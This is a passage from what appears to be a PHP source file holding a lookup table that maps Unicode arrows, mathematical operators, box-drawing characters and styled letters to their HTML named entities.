        '↦' => '&map;',
        '↧' => '&DownTeeArrow;',
        '↩' => '&larrhk;',
        '↪' => '&rarrhk;',
        '↫' => '&larrlp;',
        '↬' => '&looparrowright;',
        '↭' => '&harrw;',
        '↮' => '&nleftrightarrow;',
        '↰' => '&Lsh;',
        '↱' => '&rsh;',
        '↲' => '&ldsh;',
        '↳' => '&rdsh;',
        '↵' => '&crarr;',
        '↶' => '&curvearrowleft;',
        '↷' => '&curarr;',
        '↺' => '&olarr;',
        '↻' => '&orarr;',
        '↼' => '&leftharpoonup;',
        '↽' => '&leftharpoondown;',
        '↾' => '&RightUpVector;',
        '↿' => '&uharl;',
        '⇀' => '&rharu;',
        '⇁' => '&rhard;',
        '⇂' => '&RightDownVector;',
        '⇃' => '&dharl;',
        '⇄' => '&rightleftarrows;',
        '⇅' => '&udarr;',
        '⇆' => '&lrarr;',
        '⇇' => '&llarr;',
        '⇈' => '&upuparrows;',
        '⇉' => '&rrarr;',
        '⇊' => '&downdownarrows;',
        '⇋' => '&leftrightharpoons;',
        '⇌' => '&rightleftharpoons;',
        '⇍' => '&nLeftarrow;',
        '⇎' => '&nhArr;',
        '⇏' => '&nrArr;',
        '⇐' => '&DoubleLeftArrow;',
        '⇑' => '&DoubleUpArrow;',
        '⇒' => '&Implies;',
        '⇓' => '&Downarrow;',
        '⇔' => '&hArr;',
        '⇕' => '&Updownarrow;',
        '⇖' => '&nwArr;',
        '⇗' => '&neArr;',
        '⇘' => '&seArr;',
        '⇙' => '&swArr;',
        '⇚' => '&lAarr;',
        '⇛' => '&rAarr;',
        '⇝' => '&zigrarr;',
        '⇤' => '&LeftArrowBar;',
        '⇥' => '&RightArrowBar;',
        '⇵' => '&DownArrowUpArrow;',
        '⇽' => '&loarr;',
        '⇾' => '&roarr;',
        '⇿' => '&hoarr;',
        '∀' => '&forall;',
        '∁' => '&comp;',
        '∂' => '&part;',
        '∂̸' => '&npart',
        '∃' => '&Exists;',
        '∄' => '&nexist;',
        '∅' => '&empty;',
        '∇' => '&nabla;',
        '∈' => '&isinv;',
        '∉' => '&notin;',
        '∋' => '&ReverseElement;',
        '∌' => '&notniva;',
        '∏' => '&prod;',
        '∐' => '&Coproduct;',
        '∑' => '&sum;',
        '−' => '&minus;',
        '∓' => '&MinusPlus;',
        '∔' => '&plusdo;',
        '∖' => '&ssetmn;',
        '∗' => '&lowast;',
        '∘' => '&compfn;',
        '√' => '&Sqrt;',
        '∝' => '&prop;',
        '∞' => '&infin;',
        '∟' => '&angrt;',
        '∠' => '&angle;',
        '∠⃒' => '&nang',
        '∡' => '&angmsd;',
        '∢' => '&angsph;',
        '∣' => '&mid;',
        '∤' => '&nshortmid;',
        '∥' => '&shortparallel;',
        '∦' => '&nparallel;',
        '∧' => '&and;',
        '∨' => '&or;',
        '∩' => '&cap;',
        '∩︀' => '&caps',
        '∪' => '&cup;',
        '∪︀' => '&cups',
        '∫' => '&Integral;',
        '∬' => '&Int;',
        '∭' => '&tint;',
        '∮' => '&ContourIntegral;',
        '∯' => '&DoubleContourIntegral;',
        '∰' => '&Cconint;',
        '∱' => '&cwint;',
        '∲' => '&cwconint;',
        '∳' => '&awconint;',
        '∴' => '&there4;',
        '∵' => '&Because;',
        '∶' => '&ratio;',
        '∷' => '&Colon;',
        '∸' => '&minusd;',
        '∺' => '&mDDot;',
        '∻' => '&homtht;',
        '∼' => '&sim;',
        '∼⃒' => '&nvsim',
        '∽' => '&bsim;',
        '∽̱' => '&race',
        '∾' => '&ac;',
        '∾̳' => '&acE',
        '∿' => '&acd;',
        '≀' => '&wr;',
        '≁' => '&NotTilde;',
        '≂' => '&esim;',
        '≂̸' => '&nesim',
        '≃' => '&simeq;',
        '≄' => '&nsime;',
        '≅' => '&TildeFullEqual;',
        '≆' => '&simne;',
        '≇' => '&ncong;',
        '≈' => '&approx;',
        '≉' => '&napprox;',
        '≊' => '&ape;',
        '≋' => '&apid;',
        '≋̸' => '&napid',
        '≌' => '&bcong;',
        '≍' => '&CupCap;',
        '≍⃒' => '&nvap',
        '≎' => '&bump;',
        '≎̸' => '&nbump',
        '≏' => '&HumpEqual;',
        '≏̸' => '&nbumpe',
        '≐' => '&esdot;',
        '≐̸' => '&nedot',
        '≑' => '&doteqdot;',
        '≒' => '&fallingdotseq;',
        '≓' => '&risingdotseq;',
        '≔' => '&coloneq;',
        '≕' => '&eqcolon;',
        '≖' => '&ecir;',
        '≗' => '&circeq;',
        '≙' => '&wedgeq;',
        '≚' => '&veeeq;',
        '≜' => '&triangleq;',
        '≟' => '&equest;',
        '≠' => '&NotEqual;',
        '≡' => '&Congruent;',
        '≡⃥' => '&bnequiv',
        '≢' => '&NotCongruent;',
        '≤' => '&leq;',
        '≤⃒' => '&nvle',
        '≥' => '&ge;',
        '≥⃒' => '&nvge',
        '≦' => '&lE;',
        '≦̸' => '&nlE',
        '≧' => '&geqq;',
        '≧̸' => '&NotGreaterFullEqual',
        '≨' => '&lneqq;',
        '≨︀' => '&lvertneqq',
        '≩' => '&gneqq;',
        '≩︀' => '&gvertneqq',
        '≪' => '&ll;',
        '≪̸' => '&nLtv',
        '≪⃒' => '&nLt',
        '≫' => '&gg;',
        '≫̸' => '&NotGreaterGreater',
        '≫⃒' => '&nGt',
        '≬' => '&between;',
        '≭' => '&NotCupCap;',
        '≮' => '&NotLess;',
        '≯' => '&ngtr;',
        '≰' => '&NotLessEqual;',
        '≱' => '&ngeq;',
        '≲' => '&LessTilde;',
        '≳' => '&GreaterTilde;',
        '≴' => '&nlsim;',
        '≵' => '&ngsim;',
        '≶' => '&lessgtr;',
        '≷' => '&gl;',
        '≸' => '&ntlg;',
        '≹' => '&NotGreaterLess;',
        '≺' => '&prec;',
        '≻' => '&succ;',
        '≼' => '&PrecedesSlantEqual;',
        '≽' => '&succcurlyeq;',
        '≾' => '&precsim;',
        '≿' => '&SucceedsTilde;',
        '≿̸' => '&NotSucceedsTilde',
        '⊀' => '&npr;',
        '⊁' => '&NotSucceeds;',
        '⊂' => '&sub;',
        '⊂⃒' => '&vnsub',
        '⊃' => '&sup;',
        '⊃⃒' => '&nsupset',
        '⊄' => '&nsub;',
        '⊅' => '&nsup;',
        '⊆' => '&SubsetEqual;',
        '⊇' => '&supe;',
        '⊈' => '&NotSubsetEqual;',
        '⊉' => '&NotSupersetEqual;',
        '⊊' => '&subsetneq;',
        '⊊︀' => '&vsubne',
        '⊋' => '&supsetneq;',
        '⊋︀' => '&vsupne',
        '⊍' => '&cupdot;',
        '⊎' => '&UnionPlus;',
        '⊏' => '&sqsub;',
        '⊏̸' => '&NotSquareSubset',
        '⊐' => '&sqsupset;',
        '⊐̸' => '&NotSquareSuperset',
        '⊑' => '&SquareSubsetEqual;',
        '⊒' => '&SquareSupersetEqual;',
        '⊓' => '&sqcap;',
        '⊓︀' => '&sqcaps',
        '⊔' => '&sqcup;',
        '⊔︀' => '&sqcups',
        '⊕' => '&CirclePlus;',
        '⊖' => '&ominus;',
        '⊗' => '&CircleTimes;',
        '⊘' => '&osol;',
        '⊙' => '&CircleDot;',
        '⊚' => '&ocir;',
        '⊛' => '&oast;',
        '⊝' => '&odash;',
        '⊞' => '&boxplus;',
        '⊟' => '&boxminus;',
        '⊠' => '&timesb;',
        '⊡' => '&sdotb;',
        '⊢' => '&vdash;',
        '⊣' => '&dashv;',
        '⊤' => '&DownTee;',
        '⊥' => '&perp;',
        '⊧' => '&models;',
        '⊨' => '&DoubleRightTee;',
        '⊩' => '&Vdash;',
        '⊪' => '&Vvdash;',
        '⊫' => '&VDash;',
        '⊬' => '&nvdash;',
        '⊭' => '&nvDash;',
        '⊮' => '&nVdash;',
        '⊯' => '&nVDash;',
        '⊰' => '&prurel;',
        '⊲' => '&vartriangleleft;',
        '⊳' => '&vrtri;',
        '⊴' => '&LeftTriangleEqual;',
        '⊴⃒' => '&nvltrie',
        '⊵' => '&RightTriangleEqual;',
        '⊵⃒' => '&nvrtrie',
        '⊶' => '&origof;',
        '⊷' => '&imof;',
        '⊸' => '&mumap;',
        '⊹' => '&hercon;',
        '⊺' => '&intcal;',
        '⊻' => '&veebar;',
        '⊽' => '&barvee;',
        '⊾' => '&angrtvb;',
        '⊿' => '&lrtri;',
        '⋀' => '&xwedge;',
        '⋁' => '&xvee;',
        '⋂' => '&bigcap;',
        '⋃' => '&bigcup;',
        '⋄' => '&diamond;',
        '⋅' => '&sdot;',
        '⋆' => '&Star;',
        '⋇' => '&divonx;',
        '⋈' => '&bowtie;',
        '⋉' => '&ltimes;',
        '⋊' => '&rtimes;',
        '⋋' => '&lthree;',
        '⋌' => '&rthree;',
        '⋍' => '&backsimeq;',
        '⋎' => '&curlyvee;',
        '⋏' => '&curlywedge;',
        '⋐' => '&Sub;',
        '⋑' => '&Supset;',
        '⋒' => '&Cap;',
        '⋓' => '&Cup;',
        '⋔' => '&pitchfork;',
        '⋕' => '&epar;',
        '⋖' => '&lessdot;',
        '⋗' => '&gtrdot;',
        '⋘' => '&Ll;',
        '⋘̸' => '&nLl',
        '⋙' => '&Gg;',
        '⋙̸' => '&nGg',
        '⋚' => '&lesseqgtr;',
        '⋚︀' => '&lesg',
        '⋛' => '&gtreqless;',
        '⋛︀' => '&gesl',
        '⋞' => '&curlyeqprec;',
        '⋟' => '&cuesc;',
        '⋠' => '&NotPrecedesSlantEqual;',
        '⋡' => '&NotSucceedsSlantEqual;',
        '⋢' => '&NotSquareSubsetEqual;',
        '⋣' => '&NotSquareSupersetEqual;',
        '⋦' => '&lnsim;',
        '⋧' => '&gnsim;',
        '⋨' => '&precnsim;',
        '⋩' => '&scnsim;',
        '⋪' => '&nltri;',
        '⋫' => '&ntriangleright;',
        '⋬' => '&nltrie;',
        '⋭' => '&NotRightTriangleEqual;',
        '⋮' => '&vellip;',
        '⋯' => '&ctdot;',
        '⋰' => '&utdot;',
        '⋱' => '&dtdot;',
        '⋲' => '&disin;',
        '⋳' => '&isinsv;',
        '⋴' => '&isins;',
        '⋵' => '&isindot;',
        '⋵̸' => '&notindot',
        '⋶' => '&notinvc;',
        '⋷' => '&notinvb;',
        '⋹' => '&isinE;',
        '⋹̸' => '&notinE',
        '⋺' => '&nisd;',
        '⋻' => '&xnis;',
        '⋼' => '&nis;',
        '⋽' => '&notnivc;',
        '⋾' => '&notnivb;',
        '⌅' => '&barwed;',
        '⌆' => '&doublebarwedge;',
        '⌈' => '&lceil;',
        '⌉' => '&RightCeiling;',
        '⌊' => '&LeftFloor;',
        '⌋' => '&RightFloor;',
        '⌌' => '&drcrop;',
        '⌍' => '&dlcrop;',
        '⌎' => '&urcrop;',
        '⌏' => '&ulcrop;',
        '⌐' => '&bnot;',
        '⌒' => '&profline;',
        '⌓' => '&profsurf;',
        '⌕' => '&telrec;',
        '⌖' => '&target;',
        '⌜' => '&ulcorner;',
        '⌝' => '&urcorner;',
        '⌞' => '&llcorner;',
        '⌟' => '&drcorn;',
        '⌢' => '&frown;',
        '⌣' => '&smile;',
        '⌭' => '&cylcty;',
        '⌮' => '&profalar;',
        '⌶' => '&topbot;',
        '⌽' => '&ovbar;',
        '⌿' => '&solbar;',
        '⍼' => '&angzarr;',
        '⎰' => '&lmoust;',
        '⎱' => '&rmoust;',
        '⎴' => '&OverBracket;',
        '⎵' => '&bbrk;',
        '⎶' => '&bbrktbrk;',
        '⏜' => '&OverParenthesis;',
        '⏝' => '&UnderParenthesis;',
        '⏞' => '&OverBrace;',
        '⏟' => '&UnderBrace;',
        '⏢' => '&trpezium;',
        '⏧' => '&elinters;',
        '␣' => '&blank;',
        'Ⓢ' => '&oS;',
        '─' => '&HorizontalLine;',
        '│' => '&boxv;',
        '┌' => '&boxdr;',
        '┐' => '&boxdl;',
        '└' => '&boxur;',
        '┘' => '&boxul;',
        '├' => '&boxvr;',
        '┤' => '&boxvl;',
        '┬' => '&boxhd;',
        '┴' => '&boxhu;',
        '┼' => '&boxvh;',
        '═' => '&boxH;',
        '║' => '&boxV;',
        '╒' => '&boxdR;',
        '╓' => '&boxDr;',
        '╔' => '&boxDR;',
        '╕' => '&boxdL;',
        '╖' => '&boxDl;',
        '╗' => '&boxDL;',
        '╘' => '&boxuR;',
        '╙' => '&boxUr;',
        '╚' => '&boxUR;',
        '╛' => '&boxuL;',
        '╜' => '&boxUl;',
        '╝' => '&boxUL;',
        '╞' => '&boxvR;',
        '╟' => '&boxVr;',
        '╠' => '&boxVR;',
        '╡' => '&boxvL;',
        '╢' => '&boxVl;',
        '╣' => '&boxVL;',
        '╤' => '&boxHd;',
        '╥' => '&boxhD;',
        '╦' => '&boxHD;',
        '╧' => '&boxHu;',
        '╨' => '&boxhU;',
        '╩' => '&boxHU;',
        '╪' => '&boxvH;',
        '╫' => '&boxVh;',
        '╬' => '&boxVH;',
        '▀' => '&uhblk;',
        '▄' => '&lhblk;',
        '█' => '&block;',
        '░' => '&blk14;',
        '▒' => '&blk12;',
        '▓' => '&blk34;',
        '□' => '&Square;',
        '▪' => '&squarf;',
        '▫' => '&EmptyVerySmallSquare;',
        '▭' => '&rect;',
        '▮' => '&marker;',
        '▱' => '&fltns;',
        '△' => '&bigtriangleup;',
        '▴' => '&blacktriangle;',
        '▵' => '&triangle;',
        '▸' => '&blacktriangleright;',
        '▹' => '&rtri;',
        '▽' => '&bigtriangledown;',
        '▾' => '&blacktriangledown;',
        '▿' => '&triangledown;',
        '◂' => '&blacktriangleleft;',
        '◃' => '&ltri;',
        '◊' => '&lozenge;',
        '○' => '&cir;',
        '◬' => '&tridot;',
        '◯' => '&bigcirc;',
        '◸' => '&ultri;',
        '◹' => '&urtri;',
        '◺' => '&lltri;',
        '◻' => '&EmptySmallSquare;',
        '◼' => '&FilledSmallSquare;',
        '★' => '&starf;',
        '☆' => '&star;',
        '☎' => '&phone;',
        '♀' => '&female;',
        '♂' => '&male;',
        '♠' => '&spadesuit;',
        '♣' => '&clubs;',
        '♥' => '&hearts;',
        '♦' => '&diamondsuit;',
        '♪' => '&sung;',
        '♭' => '&flat;',
        '♮' => '&natur;',
        '♯' => '&sharp;',
        '✓' => '&check;',
        '✗' => '&cross;',
        '✠' => '&maltese;',
        '✶' => '&sext;',
        '❘' => '&VerticalSeparator;',
        '❲' => '&lbbrk;',
        '❳' => '&rbbrk;',
        '⟈' => '&bsolhsub;',
        '⟉' => '&suphsol;',
        '⟦' => '&LeftDoubleBracket;',
        '⟧' => '&RightDoubleBracket;',
        '⟨' => '&langle;',
        '⟩' => '&RightAngleBracket;',
        '⟪' => '&Lang;',
        '⟫' => '&Rang;',
        '⟬' => '&loang;',
        '⟭' => '&roang;',
        '⟵' => '&longleftarrow;',
        '⟶' => '&LongRightArrow;',
        '⟷' => '&LongLeftRightArrow;',
        '⟸' => '&xlArr;',
        '⟹' => '&DoubleLongRightArrow;',
        '⟺' => '&xhArr;',
        '⟼' => '&xmap;',
        '⟿' => '&dzigrarr;',
        '⤂' => '&nvlArr;',
        '⤃' => '&nvrArr;',
        '⤄' => '&nvHarr;',
        '⤅' => '&Map;',
        '⤌' => '&lbarr;',
        '⤍' => '&bkarow;',
        '⤎' => '&lBarr;',
        '⤏' => '&dbkarow;',
        '⤐' => '&drbkarow;',
        '⤑' => '&DDotrahd;',
        '⤒' => '&UpArrowBar;',
        '⤓' => '&DownArrowBar;',
        '⤖' => '&Rarrtl;',
        '⤙' => '&latail;',
        '⤚' => '&ratail;',
        '⤛' => '&lAtail;',
        '⤜' => '&rAtail;',
        '⤝' => '&larrfs;',
        '⤞' => '&rarrfs;',
        '⤟' => '&larrbfs;',
        '⤠' => '&rarrbfs;',
        '⤣' => '&nwarhk;',
        '⤤' => '&nearhk;',
        '⤥' => '&searhk;',
        '⤦' => '&swarhk;',
        '⤧' => '&nwnear;',
        '⤨' => '&toea;',
        '⤩' => '&seswar;',
        '⤪' => '&swnwar;',
        '⤳' => '&rarrc;',
        '⤳̸' => '&nrarrc',
        '⤵' => '&cudarrr;',
        '⤶' => '&ldca;',
        '⤷' => '&rdca;',
        '⤸' => '&cudarrl;',
        '⤹' => '&larrpl;',
        '⤼' => '&curarrm;',
        '⤽' => '&cularrp;',
        '⥅' => '&rarrpl;',
        '⥈' => '&harrcir;',
        '⥉' => '&Uarrocir;',
        '⥊' => '&lurdshar;',
        '⥋' => '&ldrushar;',
        '⥎' => '&LeftRightVector;',
        '⥏' => '&RightUpDownVector;',
        '⥐' => '&DownLeftRightVector;',
        '⥑' => '&LeftUpDownVector;',
        '⥒' => '&LeftVectorBar;',
        '⥓' => '&RightVectorBar;',
        '⥔' => '&RightUpVectorBar;',
        '⥕' => '&RightDownVectorBar;',
        '⥖' => '&DownLeftVectorBar;',
        '⥗' => '&DownRightVectorBar;',
        '⥘' => '&LeftUpVectorBar;',
        '⥙' => '&LeftDownVectorBar;',
        '⥚' => '&LeftTeeVector;',
        '⥛' => '&RightTeeVector;',
        '⥜' => '&RightUpTeeVector;',
        '⥝' => '&RightDownTeeVector;',
        '⥞' => '&DownLeftTeeVector;',
        '⥟' => '&DownRightTeeVector;',
        '⥠' => '&LeftUpTeeVector;',
        '⥡' => '&LeftDownTeeVector;',
        '⥢' => '&lHar;',
        '⥣' => '&uHar;',
        '⥤' => '&rHar;',
        '⥥' => '&dHar;',
        '⥦' => '&luruhar;',
        '⥧' => '&ldrdhar;',
        '⥨' => '&ruluhar;',
        '⥩' => '&rdldhar;',
        '⥪' => '&lharul;',
        '⥫' => '&llhard;',
        '⥬' => '&rharul;',
        '⥭' => '&lrhard;',
        '⥮' => '&udhar;',
        '⥯' => '&ReverseUpEquilibrium;',
        '⥰' => '&RoundImplies;',
        '⥱' => '&erarr;',
        '⥲' => '&simrarr;',
        '⥳' => '&larrsim;',
        '⥴' => '&rarrsim;',
        '⥵' => '&rarrap;',
        '⥶' => '&ltlarr;',
        '⥸' => '&gtrarr;',
        '⥹' => '&subrarr;',
        '⥻' => '&suplarr;',
        '⥼' => '&lfisht;',
        '⥽' => '&rfisht;',
        '⥾' => '&ufisht;',
        '⥿' => '&dfisht;',
        '⦅' => '&lopar;',
        '⦆' => '&ropar;',
        '⦋' => '&lbrke;',
        '⦌' => '&rbrke;',
        '⦍' => '&lbrkslu;',
        '⦎' => '&rbrksld;',
        '⦏' => '&lbrksld;',
        '⦐' => '&rbrkslu;',
        '⦑' => '&langd;',
        '⦒' => '&rangd;',
        '⦓' => '&lparlt;',
        '⦔' => '&rpargt;',
        '⦕' => '&gtlPar;',
        '⦖' => '&ltrPar;',
        '⦚' => '&vzigzag;',
        '⦜' => '&vangrt;',
        '⦝' => '&angrtvbd;',
        '⦤' => '&ange;',
        '⦥' => '&range;',
        '⦦' => '&dwangle;',
        '⦧' => '&uwangle;',
        '⦨' => '&angmsdaa;',
        '⦩' => '&angmsdab;',
        '⦪' => '&angmsdac;',
        '⦫' => '&angmsdad;',
        '⦬' => '&angmsdae;',
        '⦭' => '&angmsdaf;',
        '⦮' => '&angmsdag;',
        '⦯' => '&angmsdah;',
        '⦰' => '&bemptyv;',
        '⦱' => '&demptyv;',
        '⦲' => '&cemptyv;',
        '⦳' => '&raemptyv;',
        '⦴' => '&laemptyv;',
        '⦵' => '&ohbar;',
        '⦶' => '&omid;',
        '⦷' => '&opar;',
        '⦹' => '&operp;',
        '⦻' => '&olcross;',
        '⦼' => '&odsold;',
        '⦾' => '&olcir;',
        '⦿' => '&ofcir;',
        '⧀' => '&olt;',
        '⧁' => '&ogt;',
        '⧂' => '&cirscir;',
        '⧃' => '&cirE;',
        '⧄' => '&solb;',
        '⧅' => '&bsolb;',
        '⧉' => '&boxbox;',
        '⧍' => '&trisb;',
        '⧎' => '&rtriltri;',
        '⧏' => '&LeftTriangleBar;',
        '⧏̸' => '&NotLeftTriangleBar',
        '⧐' => '&RightTriangleBar;',
        '⧐̸' => '&NotRightTriangleBar',
        '⧜' => '&iinfin;',
        '⧝' => '&infintie;',
        '⧞' => '&nvinfin;',
        '⧣' => '&eparsl;',
        '⧤' => '&smeparsl;',
        '⧥' => '&eqvparsl;',
        '⧫' => '&lozf;',
        '⧴' => '&RuleDelayed;',
        '⧶' => '&dsol;',
        '⨀' => '&xodot;',
        '⨁' => '&bigoplus;',
        '⨂' => '&bigotimes;',
        '⨄' => '&biguplus;',
        '⨆' => '&bigsqcup;',
        '⨌' => '&iiiint;',
        '⨍' => '&fpartint;',
        '⨐' => '&cirfnint;',
        '⨑' => '&awint;',
        '⨒' => '&rppolint;',
        '⨓' => '&scpolint;',
        '⨔' => '&npolint;',
        '⨕' => '&pointint;',
        '⨖' => '&quatint;',
        '⨗' => '&intlarhk;',
        '⨢' => '&pluscir;',
        '⨣' => '&plusacir;',
        '⨤' => '&simplus;',
        '⨥' => '&plusdu;',
        '⨦' => '&plussim;',
        '⨧' => '&plustwo;',
        '⨩' => '&mcomma;',
        '⨪' => '&minusdu;',
        '⨭' => '&loplus;',
        '⨮' => '&roplus;',
        '⨯' => '&Cross;',
        '⨰' => '&timesd;',
        '⨱' => '&timesbar;',
        '⨳' => '&smashp;',
        '⨴' => '&lotimes;',
        '⨵' => '&rotimes;',
        '⨶' => '&otimesas;',
        '⨷' => '&Otimes;',
        '⨸' => '&odiv;',
        '⨹' => '&triplus;',
        '⨺' => '&triminus;',
        '⨻' => '&tritime;',
        '⨼' => '&iprod;',
        '⨿' => '&amalg;',
        '⩀' => '&capdot;',
        '⩂' => '&ncup;',
        '⩃' => '&ncap;',
        '⩄' => '&capand;',
        '⩅' => '&cupor;',
        '⩆' => '&cupcap;',
        '⩇' => '&capcup;',
        '⩈' => '&cupbrcap;',
        '⩉' => '&capbrcup;',
        '⩊' => '&cupcup;',
        '⩋' => '&capcap;',
        '⩌' => '&ccups;',
        '⩍' => '&ccaps;',
        '⩐' => '&ccupssm;',
        '⩓' => '&And;',
        '⩔' => '&Or;',
        '⩕' => '&andand;',
        '⩖' => '&oror;',
        '⩗' => '&orslope;',
        '⩘' => '&andslope;',
        '⩚' => '&andv;',
        '⩛' => '&orv;',
        '⩜' => '&andd;',
        '⩝' => '&ord;',
        '⩟' => '&wedbar;',
        '⩦' => '&sdote;',
        '⩪' => '&simdot;',
        '⩭' => '&congdot;',
        '⩭̸' => '&ncongdot',
        '⩮' => '&easter;',
        '⩯' => '&apacir;',
        '⩰' => '&apE;',
        '⩰̸' => '&napE',
        '⩱' => '&eplus;',
        '⩲' => '&pluse;',
        '⩳' => '&Esim;',
        '⩴' => '&Colone;',
        '⩵' => '&Equal;',
        '⩷' => '&ddotseq;',
        '⩸' => '&equivDD;',
        '⩹' => '&ltcir;',
        '⩺' => '&gtcir;',
        '⩻' => '&ltquest;',
        '⩼' => '&gtquest;',
        '⩽' => '&les;',
        '⩽̸' => '&nles',
        '⩾' => '&ges;',
        '⩾̸' => '&nges',
        '⩿' => '&lesdot;',
        '⪀' => '&gesdot;',
        '⪁' => '&lesdoto;',
        '⪂' => '&gesdoto;',
        '⪃' => '&lesdotor;',
        '⪄' => '&gesdotol;',
        '⪅' => '&lap;',
        '⪆' => '&gap;',
        '⪇' => '&lne;',
        '⪈' => '&gne;',
        '⪉' => '&lnap;',
        '⪊' => '&gnap;',
        '⪋' => '&lesseqqgtr;',
        '⪌' => '&gEl;',
        '⪍' => '&lsime;',
        '⪎' => '&gsime;',
        '⪏' => '&lsimg;',
        '⪐' => '&gsiml;',
        '⪑' => '&lgE;',
        '⪒' => '&glE;',
        '⪓' => '&lesges;',
        '⪔' => '&gesles;',
        '⪕' => '&els;',
        '⪖' => '&egs;',
        '⪗' => '&elsdot;',
        '⪘' => '&egsdot;',
        '⪙' => '&el;',
        '⪚' => '&eg;',
        '⪝' => '&siml;',
        '⪞' => '&simg;',
        '⪟' => '&simlE;',
        '⪠' => '&simgE;',
        '⪡' => '&LessLess;',
        '⪡̸' => '&NotNestedLessLess',
        '⪢' => '&GreaterGreater;',
        '⪢̸' => '&NotNestedGreaterGreater',
        '⪤' => '&glj;',
        '⪥' => '&gla;',
        '⪦' => '&ltcc;',
        '⪧' => '&gtcc;',
        '⪨' => '&lescc;',
        '⪩' => '&gescc;',
        '⪪' => '&smt;',
        '⪫' => '&lat;',
        '⪬' => '&smte;',
        '⪬︀' => '&smtes',
        '⪭' => '&late;',
        '⪭︀' => '&lates',
        '⪮' => '&bumpE;',
        '⪯' => '&preceq;',
        '⪯̸' => '&NotPrecedesEqual',
        '⪰' => '&SucceedsEqual;',
        '⪰̸' => '&NotSucceedsEqual',
        '⪳' => '&prE;',
        '⪴' => '&scE;',
        '⪵' => '&precneqq;',
        '⪶' => '&scnE;',
        '⪷' => '&precapprox;',
        '⪸' => '&succapprox;',
        '⪹' => '&precnapprox;',
        '⪺' => '&succnapprox;',
        '⪻' => '&Pr;',
        '⪼' => '&Sc;',
        '⪽' => '&subdot;',
        '⪾' => '&supdot;',
        '⪿' => '&subplus;',
        '⫀' => '&supplus;',
        '⫁' => '&submult;',
        '⫂' => '&supmult;',
        '⫃' => '&subedot;',
        '⫄' => '&supedot;',
        '⫅' => '&subE;',
        '⫅̸' => '&nsubE',
        '⫆' => '&supseteqq;',
        '⫆̸' => '&nsupseteqq',
        '⫇' => '&subsim;',
        '⫈' => '&supsim;',
        '⫋' => '&subsetneqq;',
        '⫋︀' => '&vsubnE',
        '⫌' => '&supnE;',
        '⫌︀' => '&varsupsetneqq',
        '⫏' => '&csub;',
        '⫐' => '&csup;',
        '⫑' => '&csube;',
        '⫒' => '&csupe;',
        '⫓' => '&subsup;',
        '⫔' => '&supsub;',
        '⫕' => '&subsub;',
        '⫖' => '&supsup;',
        '⫗' => '&suphsub;',
        '⫘' => '&supdsub;',
        '⫙' => '&forkv;',
        '⫚' => '&topfork;',
        '⫛' => '&mlcp;',
        '⫤' => '&Dashv;',
        '⫦' => '&Vdashl;',
        '⫧' => '&Barv;',
        '⫨' => '&vBar;',
        '⫩' => '&vBarv;',
        '⫫' => '&Vbar;',
        '⫬' => '&Not;',
        '⫭' => '&bNot;',
        '⫮' => '&rnmid;',
        '⫯' => '&cirmid;',
        '⫰' => '&midcir;',
        '⫱' => '&topcir;',
        '⫲' => '&nhpar;',
        '⫳' => '&parsim;',
        '⫽︀' => '&varsupsetneqq',
        'ff' => '&fflig;',
        'fi' => '&filig;',
        'fl' => '&fllig;',
        'ffi' => '&ffilig;',
        'ffl' => '&ffllig;',
        '𝒜' => '&Ascr;',
        '𝒞' => '&Cscr;',
        '𝒟' => '&Dscr;',
        '𝒢' => '&Gscr;',
        '𝒥' => '&Jscr;',
        '𝒦' => '&Kscr;',
        '𝒩' => '&Nscr;',
        '𝒪' => '&Oscr;',
        '𝒫' => '&Pscr;',
        '𝒬' => '&Qscr;',
        '𝒮' => '&Sscr;',
        '𝒯' => '&Tscr;',
        '𝒰' => '&Uscr;',
        '𝒱' => '&Vscr;',
        '𝒲' => '&Wscr;',
        '𝒳' => '&Xscr;',
        '𝒴' => '&Yscr;',
        '𝒵' => '&Zscr;',
        '𝒶' => '&ascr;',
        '𝒷' => '&bscr;',
        '𝒸' => '&cscr;',
        '𝒹' => '&dscr;',
        '𝒻' => '&fscr;',
        '𝒽' => '&hscr;',
        '𝒾' => '&iscr;',
        '𝒿' => '&jscr;',
        '𝓀' => '&kscr;',
        '𝓁' => '&lscr;',
        '𝓂' => '&mscr;',
        '𝓃' => '&nscr;',
        '𝓅' => '&pscr;',
        '𝓆' => '&qscr;',
        '𝓇' => '&rscr;',
        '𝓈' => '&sscr;',
        '𝓉' => '&tscr;',
        '𝓊' => '&uscr;',
        '𝓋' => '&vscr;',
        '𝓌' => '&wscr;',
        '𝓍' => '&xscr;',
        '𝓎' => '&yscr;',
        '𝓏' => '&zscr;',
        '𝔄' => '&Afr;',
        '𝔅' => '&Bfr;',
        '𝔇' => '&Dfr;',
        '𝔈' => '&Efr;',
        '𝔉' => '&Ffr;',
        '𝔊' => '&Gfr;',
        '𝔍' => '&Jfr;',
        '𝔎' => '&Kfr;',
        '𝔏' => '&Lfr;',
        '𝔐' => '&Mfr;',
        '𝔑' => '&Nfr;',
        '𝔒' => '&Ofr;',
        '𝔓' => '&Pfr;',
        '𝔔' => '&Qfr;',
        '𝔖' => '&Sfr;',
        '𝔗' => '&Tfr;',
        '𝔘' => '&Ufr;',
        '𝔙' => '&Vfr;',
        '𝔚' => '&Wfr;',
        '𝔛' => '&Xfr;',
        '𝔜' => '&Yfr;',
        '𝔞' => '&afr;',
        '𝔟' => '&bfr;',
        '𝔠' => '&cfr;',
        '𝔡' => '&dfr;',
        '𝔢' => '&efr;',
        '𝔣' => '&ffr;',
        '𝔤' => '&gfr;',
        '𝔥' => '&hfr;',
        '𝔦' => '&ifr;',
        '𝔧' => '&jfr;',
        '𝔨' => '&kfr;',
        '𝔩' => '&lfr;',
        '𝔪' => '&mfr;',
        '𝔫' => '&nfr;',
        '𝔬' => '&ofr;',
        '𝔭' => '&pfr;',
        '𝔮' => '&qfr;',
        '𝔯' => '&rfr;',
        '𝔰' => '&sfr;',
        '𝔱' => '&tfr;',
        '𝔲' => '&ufr;',
        '𝔳' => '&vfr;',
        '𝔴' => '&wfr;',
        '𝔵' => '&xfr;',
        '𝔶' => '&yfr;',
        '𝔷' => '&zfr;',
        '𝔸' => '&Aopf;',
        '𝔹' => '&Bopf;',
        '𝔻' => '&Dopf;',
        '𝔼' => '&Eopf;',
        '𝔽' => '&Fopf;',
        '𝔾' => '&Gopf;',
        '𝕀' => '&Iopf;',
        '𝕁' => '&Jopf;',
        '𝕂' => '&Kopf;',
        '𝕃' => '&Lopf;',
        '𝕄' => '&Mopf;',
        '𝕆' => '&Oopf;',
        '𝕊' => '&Sopf;',
        '𝕋' => '&Topf;',
        '𝕌' => '&Uopf;',
        '𝕍' => '&Vopf;',
        '𝕎' => '&Wopf;',
